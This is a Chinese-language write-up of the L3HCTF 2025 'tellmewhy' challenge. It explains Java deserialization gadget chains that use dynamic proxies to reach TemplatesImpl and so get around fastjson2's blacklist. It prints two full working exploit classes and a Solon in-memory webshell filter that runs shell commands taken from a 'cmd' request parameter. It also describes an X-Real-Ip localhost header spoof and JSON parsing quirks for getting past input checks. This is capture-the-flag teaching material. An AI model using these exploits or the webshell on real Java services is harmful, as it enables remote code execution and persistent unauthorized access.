2025L3HCTF-tellmewhy详解
2025L3HCTF-tellmewhy详解以及多种入口
简介
众所周知,在2.0.26以前有一条仅依赖fastjson的原生反序列化链,核心是Fastjson中的JsonArray类,该类被调用toString方法时,可遍历调用其元素的任意公开getter方法,从而触发TemplatesImpl#getOutputProperties方法,加载字节码完成代码执行。
而到了2.0.27后,TemplatesImpl被加入了黑名单,同时在黑名单中的类不会被调用getter方法,因此该链子无法再被直接利用。
虽然TemplatesImpl被禁用了,但其继承了Templates这个接口

同时Templates接口还定义了getOutputProperties方法

由于 Fastjson 的黑名单仅拦截TemplatesImpl类的方法调用,而对代理Templates接口的代理类无限制,因此代理对象的方法调用不会被拦截,最终成功绕开黑名单。
也就是说我们可以利用代理对象通过InvocationHandler将方法调用转发到被黑名单限制的TemplatesImpl实例上,间接触发TemplatesImpl#getOutputProperties方法。
反序列化触发toString链
触发JsonArray.toString可以有下面这几种
第一种、Xstring链
Hashmap#readobject -->
XString#equals -->
JSONArray.toString或者HotSwappableTargetSource#equals链
HashMap#readObject ->
HotSwappableTargetSource#equals ->
XString#equals ->
JSONArray.toString第二种、BadAttributeValueExpException链
BadAttributeValueExpException#readObject -->
JSONArray#toString第三种、EventListenerList链
EventListenerList#readobject -->
UndoManager#toString -->
Vector#toString -->
JSONArray#toString第四种、TextAndMnemonicHashMap链
hashmap#readObject-->
HashMap#putVal-->
AbstractMap#equals-->
TextAndMnemonicHashMap#get-->
JSONArray#toString动态代理绕高版本fastjson
那么接下来我们要思考的就是如何利用了动态代理来实现TemplatesImpl.getOutputProperties去加载我们的恶意字节码

这里我们注意到ObjectFactoryDelegatingInvocationHandler的代码,
在invoke方法里面,如果方法的名字不是equals、hashCode、toString的话,
他就会尝试去利用objectFactory.getObject()方法获取一个对象,然后method.invoke调用该对象的方法。
也有反射调用方法的能力,不同之处在于反射对象是通过objectFactory.getObject()提供的。

JSONObject的invoke方法有点长了,省略了一些不重要的条件判断
可以看到,invoke方法先是获取被调用方法的名称、被调用方法的参数个数(单参数/无参数)、被调用方法的返回类型,
最后这个方法返回了value,也就是我们需要的指定对象com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
调用栈如下
invoke:292, AutowireUtils$ObjectFactoryDelegatingInvocationHandler (org.springframework.beans.factory.support)
getOutputProperties:-1, $Proxy2 (com.sun.proxy)
write:-1, OWG_1_1_$Proxy2 (com.alibaba.fastjson2.writer)
write:3124, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:914, JSONArray (com.alibaba.fastjson2)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readObject:1396, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:53, Util (common)
runGadgets:38, Util (common)
main:33, Fastjson4_ObjectFactoryDelegatingInvocationHandler编写poc

回到我们的题目
现在知道"javax.management.BadAttributeValueExpException", "javax.swing.event.EventListenerList", "javax.swing.UIDefaults$TextAndMnemonicHashMap"
这三个类都被过滤了,
因此我们可以选Xstring链作为我们调用JsonArray.toString的开始
Hashmap#readobject -->
XString#equals -->
JSONArray.toString本题目是solon框架的,所以是没有org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler
但是题目贴心的给出了MyProxy代理类和MyObject这个接口
你会发现题目中的MyProxy代理类的作用跟ObjectFactoryDelegatingInvocationHandler实则是一样的

原链中的ObjectFactory.class跟题目中的MyObject接口也是一样的


那么我们只需在下面这个下面中,创建一个新类改动一点即可
https://github.com/Ape1ron/FastjsonInDeserializationDemo1
下面是完整的EXP
import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.spi.ObjectFactory;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static void main(String[] args) throws Exception {
byte[] bytes = Repository.lookupClass(TestTemplatesImpl.class).getBytes();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "1");
setFieldValue(templates, "_tfactory", null);
Map map = new HashMap();
map.put("object", templates);
Object node2 = makeGadget("com.alibaba.fastjson2.JSONObject", Map.class,map);
Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
new Class[]{ObjectFactory.class, MyObject.class}, (InvocationHandler) node2);
Object node3 = makeGadget("org.example.demo.Utils.MyProxy",MyObject.class,proxy1);
Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
new Class[]{Templates.class}, (InvocationHandler) node3);
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(proxy2);
Map gadgetChain = makeXStringToStringTrigger(jsonArray1);
HashMap hashMap = new HashMap();
hashMap.put(templates,gadgetChain);
byte[] serialize = serialize(hashMap);
String s = Base64.getEncoder().encodeToString(serialize);
System.out.println(s);
System.out.println(s.length());
deserialize(serialize);
}
public static Object makeGadget(String className,Class parType,Object gadget) throws Exception {
Class clazz = Class.forName(className);
Constructor constructor = clazz.getDeclaredConstructor(parType);
constructor.setAccessible(true);
return constructor.newInstance(gadget);
}
public static Map makeXStringToStringTrigger(Object o) throws Exception {
XString x = new XString("\n");
return makeMap(o, x);
}
public static Map makeMap(Object v1, Object v2) throws Exception {
Map map1 = new HashMap();
map1.put("yy", v1);
map1.put("zZ", v2);
Map map2 = new HashMap();
map2.put("yy", v2);
map2.put("zZ", v1);
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
return s;
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
public static byte[] serialize(final Object obj) throws IOException {
System.out.println("serialize obj: "+ obj.getClass().getName());
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException {
System.out.println("deserialize obj");
final ByteArrayInputStream in = new ByteArrayInputStream(ser);
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}由于环境不出网,要打solon框架内存马
TestTemplatesImpl.class为
package org.example.demo.Utils;
import org.noear.solon.annotation.Component;
import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;
import java.lang.reflect.Field;
@Component
public class TestTemplatesImpl implements Filter {
static {
try {
Context ctx = Context.current();
Object obj = ctx.request();
Field field = obj.getClass().getSuperclass().getDeclaredField("request");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("serverHandler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("arg$1");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
field.setAccessible(true);
obj = field.get(obj);
ChainManager chainManager = (ChainManager) obj;
chainManager.addFilter(new TestTemplatesImpl(), 0);
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
try{
if(ctx.param("cmd")!=null){
String str = ctx.param("cmd");
try{
String[] cmds =
System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",
"/c", str} : new String[]{"/bin/bash", "-c", str};
String output = (new java.util.Scanner((new
ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
ctx.output(output);
}catch (Exception e) {
e.printStackTrace();
}
}
}catch (Throwable e){
System.out.println("异常:"+e.getMessage()) ;
}
chain.doFilter(ctx);
}
}当然在反序列化之前还有一个if条件绕过和X-Real-Ip: localhost的本地请求头伪造绕过
解析json数据


新建一个hashmap
然后看开头是不是以{

然后读下一个字符"
然后再读一个"
然后在这两个双引号之间的字符都读取出来,作为键
但是jsonObject.length实际上也是调用map.size

注意这个json不是fastjson
但是利用的点还是找map和org.json.JSONObject解析json的差异
org.json.JSONObject遇到逗号和分号的处理方式是相同的

{
"why": "base64序列化数据",
"test1": undefined;
undefined: NaN
}实际上利用@type也是可以进行一个绕过的
{"@type": "java.util.HashMap","why":"base64 payload"}打入内存马后即可成功命令执行

拓展:
实际上触发toString还有一种方法
链子如下
javax.swing.AbstractAction#readObject ->
javax.swing.AbstractAction#putValue ->
javax.swing.AbstractAction#firePropertyChange ->
java.lang.Object#equalswriteObject
在alignmentActioin初始化时,子类的构造函数会不断调用父类的构造函数,一直到达AbstractAction,进行一次putValue操作,

Action.NAME为固定的Name,name为我们的第一参数,进入putValue

上面会进行一系列的table创建,判断是否存在键值等等操作,由于是新参数,所以将其put进arrayTable中
使用alignmentAction.putValue,将恶意键值也添加进arrayTable中


最后在序列化时,进入ArrayTable.writeArrayTable

会先将键值对的数量写入,我们一共存入了3对,接着把键与值依次写入结束

readObject
接着是反序列化

readObject时,会先读取键值对的次数,并且进行putValue调用读取的键值对

我们通过16进制编辑器修改serialize生成的字节码,将jsonArray对应的key2改成了key1

就是这里的32改成31即可
判断出已存在key1,这样才不会让oldValue的XString被覆盖掉,然后oldValue XString和newValue为jsonArray 才能够一起传入了firePropertyChange函数
但是这里还有一个if条件
当changeSupport !=null时,会往后执行
所以我们就需要反射修改changeSupport

最后调用JSONArray.toString触发后续链子

EXP
/**
* @className Exp
* @Author shushu
* @Data 2025/7/17
**/
package org.example.demo.Utils;
import javax.swing.AbstractAction;
import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.noear.solon.core.BeanWrap;
import javax.naming.spi.ObjectFactory;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson2.JSONObject;
public class Exp {
public static void main(String[] args) throws Exception {
byte[] bytes = Repository.lookupClass(TestTemplatesImpl.class).getBytes();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "1");
setFieldValue(templates, "_tfactory", null);
Map map = new HashMap();
map.put("object", templates);
Object node2 = makeGadget("com.alibaba.fastjson2.JSONObject", Map.class,map);
Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
new Class[]{ObjectFactory.class, MyObject.class}, (InvocationHandler) node2);
Object node3 = makeGadget("org.example.demo.Utils.MyProxy",MyObject.class,proxy1);
Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
new Class[]{Templates.class}, (InvocationHandler) node3);
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(proxy2);
// serializeToFile(testGadget(jsonArray1));
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("TransformedMapTest.bin"));
ois.readObject();
}
public static void serializeToFile(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("TransformedMapTest.bin"));
oos.writeObject(obj);
}
public static Object testGadget(Object gadgetChain) throws Exception {
SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport("11");
StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("111",1);
Field field = Class.forName("javax.swing.AbstractAction").getDeclaredField("changeSupport");
field.setAccessible(true);
field.set(alignmentAction,swingPropertyChangeSupport);
XString xString = new XString("1");
alignmentAction.putValue("key1",xString);
alignmentAction.putValue("key2",gadgetChain);
return alignmentAction;
}
public static Object makeGadget(String className,Class parType,Object gadget) throws Exception {
Class clazz = Class.forName(className);
Constructor constructor = clazz.getDeclaredConstructor(parType);
constructor.setAccessible(true);
return constructor.newInstance(gadget);
}
public static Map makeXStringToStringTrigger(Object o) throws Exception {
XString x = new XString("\n");
return makeMap(o, x);
}
public static Map makeMap(Object v1, Object v2) throws Exception {
Map map1 = new HashMap();
map1.put("yy", v1);
map1.put("zZ", v2);
Map map2 = new HashMap();
map2.put("yy", v2);
map2.put("zZ", v1);
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
return s;
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
public static byte[] serialize(final Object obj) throws IOException {
System.out.println("serialize obj: "+ obj.getClass().getName());
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException {
System.out.println("deserialize obj");
final ByteArrayInputStream in = new ByteArrayInputStream(ser);
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
调用栈如下
invoke:292, AutowireUtils$ObjectFactoryDelegatingInvocationHandler (org.springframework.beans.factory.support)
getOutputProperties:-1, $Proxy2 (com.sun.proxy)
at com.alibaba.fastjson2.writer.OWG_1_1_$Proxy2.write(Unknown Source)
at com.alibaba.fastjson2.JSONWriterUTF16.write(JSONWriterUTF16.java:2835)
at com.alibaba.fastjson2.JSONArray.toString(JSONArray.java:1052)
at com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:392)
at javax.swing.AbstractAction.firePropertyChange(AbstractAction.java:273)
at javax.swing.AbstractAction.putValue(AbstractAction.java:211)
at javax.swing.AbstractAction.readObject(AbstractAction.java:364)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431)
at org.example.demo.Utils.Exp.main(Exp.java:45)